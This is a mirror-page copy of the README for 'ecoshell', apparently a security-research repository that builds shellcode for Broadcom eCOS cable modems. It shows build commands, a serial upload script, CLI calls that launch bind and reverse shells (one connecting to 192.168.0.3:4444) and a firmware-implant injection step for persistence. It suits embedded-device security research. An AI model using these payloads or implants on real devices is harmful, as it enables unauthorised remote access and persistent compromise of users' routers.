Giter Site home page Giter Site logo

ecos-wtf / ecoshell Goto Github PK

View Code? Open in Web Editor NEW
14.0 3.0 2.0 17 KB

Shellcode generation for eCOS platform.

Home Page: https://ecos.wtf

License: BSD 3-Clause "New" or "Revised" License

Makefile 3.06% C 87.98% Shell 0.73% Python 8.23%
ecos broadcom shellcode exploit-development

ecoshell's Introduction

eCOS Shellcodes

Shellcode generation for eCOS platform. Right now mostly focused on Broadcom eCOS platform (Broadcom Foundation Classes).

The following shellcodes are implemented:

  • sample - launch a thread printing a character string on console every 5 seconds
  • bindshell - a bind shell function (blocking)
  • bindshell_thread - a bind shell function launched within a dedicated thread
  • reverseshell - a reverse shell function (blocking)
  • reverseshell_thread - a reverse shell function launched within a dedicated thread

Toolchain Install

You need the mipsisa32-elf toolchain to generate shellcode for Broadcom eCOS platform. You can run install.sh to download it into the repo.

Shellcode Generation

First, you need to extract all function offsets from your target's firmware and place them in the payload.ld file. Right now, two targets are defined:

  • CG3700 - Netgear CG3700
  • TCG300 - Askey TCG300/Siligence TCG300

Once done, just edit the PLATFORM parameter in Makefile so that the linker will take offsets from your file.

When done, you can generate shellcode with make commands:

make clean && make
rm -f *.elf *.bin
gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc sample.c -o sample.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld
gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata sample.elf sample.bin
gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc reverseshell.c -o reverseshell.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld
gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata reverseshell.elf reverseshell.bin
gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc reverseshell_thread.c -o reverseshell_thread.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld
gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata reverseshell_thread.elf reverseshell_thread.bin
gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc bindshell.c -o bindshell.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld
gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata bindshell.elf bindshell.bin
gnutools/mipsisa32-elf/bin/mipsisa32-elf-gcc bindshell_thread.c -o bindshell_thread.elf -march=mips32 -mabi=eabi -msoft-float -mno-abicalls -fno-builtin -nostdlib -nodefaultlibs -nostartfiles -T CG3700/payload.ld
gnutools/mipsisa32-elf/bin/mipsisa32-elf-objcopy -O binary -j .start -j .text -j .data -j .rodata bindshell_thread.elf bindshell_thread.bin

Shellcode Write

The Broadcom eCOS platform expose write_memory and read_memory CLI functions that we can call to write our shellcode in RAM.

You can use the upload.py python script to write a given shellcode into a device memory over a serial connection.

./upload.py reverseshell.bin 0x80810000
[+] Writing payload to memory.
[+] Reading payload from memory.
[+] Integrity check passed.

Note that these functions can be called from different context (SSH session, telnet session, reverse shell session, ...). The script only supports serial at the moment, pull requests are welcomed though :)

Shellcode Call

Once written into memory, we can call our shell code by relying on the call CLI function. The next subsections explain how to call each shellcode.

bind shell

The shellcode takes two parameters:

  • ip address to bind to
  • tcp port to bind to

Parameters must be transmitted in hexadecimal notation.

CM> call func -r -a 0x80810000 0x00000000 0x115c
Calling function 0x80810000(0x00000000, 0x115c)
[+] Launching bind shell on 0.0.0.0:4444

reverse shell

The shellcode takes two parameters:

  • ip address to connect to
  • tcp port to connect to

Parameters must be transmitted in hexadecimal notation.

CM> call func -r -a 0x80810000 0xc0a80003 0x115c
Calling function 0x80810000(0xc0a80003, 0x115c)
[+] Launching reverse shell to 192.168.0.3:4444

eCOS Threading

Reverse and bind shells supports threading but it's not that interesting on Broadcom platform because the console I/O cannot be shared by multiple threads (no virtual tty like Linux).

This means that once you launch the (reverse/bind) shell thread, you lose access to the console if you were already connected to it via UART/Telnet/SSH. Note that once you quit the thread (e.g. by closing the reverse shell connection), the code takes care of re-assigning console I/O to the legit descriptor.

Threading is still super relevant for specific functions that don't need console I/O and that you can leave running in the background (network scanning, implant writing to backdoor bootloader/firmware, gdb server, ...).

Firmware Implants (Persistence)

The inject.py script can be used to inject custom shellcode in an unpacked firmware file by overwriting a given section.

./inject.py firmware.bin ~/git/ecoshell/bindshell_thread.bin 0x805f4434 0x805f4b28
Available space: 1780 bytes
Overwriting firmware file with shellcode.

More details on persistence with firmware implants can be found in Broadcom eCos | Gaining Persistence with Firmware Implants

Credits

ecoshell's People

Contributors

qkaiser avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.